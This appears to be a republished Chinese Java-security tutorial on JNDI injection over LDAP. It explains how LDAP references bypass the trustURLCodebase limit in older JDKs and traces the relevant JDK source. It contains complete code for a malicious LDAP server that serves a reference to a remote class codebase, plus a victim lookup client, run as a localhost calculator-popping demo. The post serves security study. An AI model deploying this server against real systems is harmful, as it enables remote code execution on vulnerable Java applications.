6-java安全基础——JNDI和LDAP利用
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了6-java安全基础——JNDI和LDAP利用相关的知识,希望对你有一定的参考价值。
继续上一篇的内容,在java JDK的6u141,7u131,8u121这几个版本中,jndi中的Naming/Directory服务中限制了Reference远程加载Object Factory类的特性,对com.sun.jndi.rmi.object.trustURLCodebase的值默认设置为false,即禁止从远程的URLCodebase加载Reference工厂类。
同样的代码,这里把jdk版本切换成JDK8u121版本
为什么会抛出ConfigurationException异常?以jdk8u181版本为例,这个版本中decodeObject方法第354行代码中多增加了一个判断,是否允许从远程地址加载,如果trustURLCodebase为true表示允许允许远程加载,trustURLCodebase值为false表示禁止远程加载,因此这里会抛出ConfigurationException异常,也就是前面客户端运行时抛出的异常信息。
但是我们可以通过LDAP服务来绕过URLCodebase实现远程加载,LDAP服务也能返回JNDI Reference对象,利用过程与jndi + RMI Reference基本一致,不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意jndi Reference对象,并且LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制。
利用之前,需要在这个网站下载LDAP服务unboundid-ldapsdk-3.1.1.jar
https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1
下载完成后,将jar包导入到当前项目,File --> Project Structure --> Modules:
LdapTest 是攻击者
package com.test;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LdapTest {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:8081/#Exp", "9999"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(LdapTest.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
RmiClientTest是被攻击者
public class RmiClientTest {
public static void main(String[] args) throws NamingException {
//指定RMI服务资源的标识
String jndi_uri = "ldap://127.0.0.1:9999/Exp";
//构建jndi上下文环境
InitialContext initialContext = new InitialContext();
//查找标识关联的RMI服务
initialContext.lookup(jndi_uri);
}
}
先启动LDAP服务LdapTest ,再启动客户端,被攻击者成功弹出本地计算器:
LADP服务利用流程分析,LADP服务前面的调用流程和jndi是基本一样,从Obj类的decodeObject方法这里就有些不太一样了,decodeObject方法内部调用了decodeReference方法
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
//调用了decodeReference方法
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
Obj类的decodeReference方法根据LdapTest传入的addAttribute属性构造并返回了一个新的reference对象引用
private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException {
String var4 = null;
Attribute var2;
if ((var2 = var0.get(JAVA_ATTRIBUTES[2])) == null) {
throw new InvalidAttributesException(JAVA_ATTRIBUTES[2] + " attribute is required");
} else {
String var3 = (String)var2.get();
if ((var2 = var0.get(JAVA_ATTRIBUTES[3])) != null) {
var4 = (String)var2.get();
}
//返回一个新的Reference对象引用
Reference var5 = new Reference(var3, var4, var1 != null ? var1[0] : null);
//获取第6个属性
if ((var2 = var0.get(JAVA_ATTRIBUTES[5])) != null) {
//省略部分代码
}
//直接返回reference对象
return var5;
}
}
LADP服务的Reference对象引用的获取和jndi注入中的不太一样,jndi是通过ReferenceWrapper_Stub对象的getReference方法获取reference对象,而LADP服务是根据传入的属性构造一个新的reference对象引用,接着获取了第6个属性并判断是否为空,如果第6个属性为null则直接返回新的reference对象引用。
reference对象的三个属性(className,classFactory,classFactoryLocation)如下所示:
接着会返回到decodeObject方法调用处,然后再返回到LdapCtx类的c_lookup方法调用处,接着往下执行调用getObjectInstance方法
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
Object var3 = null;
Object var4;
try {
SearchControls var22 = new SearchControls();
var22.setSearchScope(0);
var22.setReturningAttributes((String[])null);
var22.setReturningObjFlag(true);
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls;
if (var23.status != 0) {
this.processReturnCode(var23, var1);
}
if (var23.entries != null && var23.entries.size() == 1) {
LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
var4 = var25.attributes;
Vector var8 = var25.respCtls;
if (var8 != null) {
appendVector(this.respCtls, var8);
}
} else {
var4 = new BasicAttributes(true);
}
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
//var3接收reference对象
var3 = Obj.decodeObject((Attributes)var4);
}
if (var3 == null) {
var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}
} catch (LdapReferralException var20) {
LdapReferralException var5 = var20;
if (this.handleReferrals == 2) {
throw var2.fillInException(var20);
}
while(true) {
LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);
try {
Object var7 = var6.lookup(var1);
return var7;
} catch (LdapReferralException var18) {
var5 = var18;
} finally {
var6.close();
}
}
} catch (NamingException var21) {
throw var2.fillInException(var21);
}
try {
//调用了getObjectInstance方法
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
} catch (NamingException var16) {
throw var2.fillInException(var16);
} catch (Exception var17) {
NamingException var24 = new NamingException("problem generating object using object factory");
var24.setRootCause(var17);
throw var2.fillInException(var24);
}
}
c_lookup方法将var3(reference对象)传给了getObjectInstance方法的refInfo参数,继续跟进分析getObjectInstance方法
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx , Hashtable<?,?> environment, Attributes attrs) throws Exception {
ObjectFactory factory;
//获取对象工厂
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
}
// use reference if possible
Reference ref = null;
//判断reference对象是否为Reference
if (refInfo instanceof Reference) {
//转换为Reference类型
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
//reference对象是否为空
if (ref != null) {
//获取工厂类名Exp
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
//根据工厂类远程获取对象引用
factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
// ignore name & attrs params; not used in URL factory
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer = createObjectFromFactories(refInfo, name, nameCtx,
environment, attrs);
return (answer != null) ? answer : refInfo;
}
getObjectInstance方法将reference对象转换为Reference类型并判断reference对象是否为空,如果不为空则从reference引用中获取工厂类Exp名字,接着调用getObjectFactoryFromReference方法根据工厂类Exp名字获取远程调用对象。
getObjectFactoryFromReference方法实现如下:
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) throws IllegalAccessException,InstantiationException, MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
//尝试先在本地加载Exp类
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
//获取远程地址
if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
try {
//远程加载Exp类
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
可以看到LDAP服务跟jndi一样,会尝试先在本地查找加载Exp类,如果本地没有找到Exp类,那么getFactoryClassLocation方法会获取远程加载的url地址,如果不为空则根据远程url地址使用类加载器URLClassLoader来加载Exp类,通过分析发现LDAP服务的整个利用流程都没有URLCodebase限制。
loadClass方法远程加载Exp类
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
//使用URLClassLoader类加载器进行加载Exp类
ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
loadClass方法中,当Class.forName方法加载Exp类时,会执行Exp类的静态代码块把本地计算器调出来。
不过在jdk8u191以上的版本中修复了LDAP服务远程加载恶意类这个漏洞,LDAP服务在进行远程加载之前也添加了系统属性trustURLCodebase的限制,通过分析在jdk8u191版本发现,在loadClass方法内部添加了系统属性trustURLCodebase的判断,如果trustURLCodebase为false就直接返回null,只有当trustURLCodebase值为true时才允许远程加载。
其实jndi漏洞的利用不仅仅只是以上这些,在fastjson或者jackson,weblogic这些组件中的反序列化漏洞的利用中,使用jndi的利用方式是非常常见的。
以上是关于6-java安全基础——JNDI和LDAP利用的主要内容,如果未能解决你的问题,请参考以下文章
14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析
14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析
14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析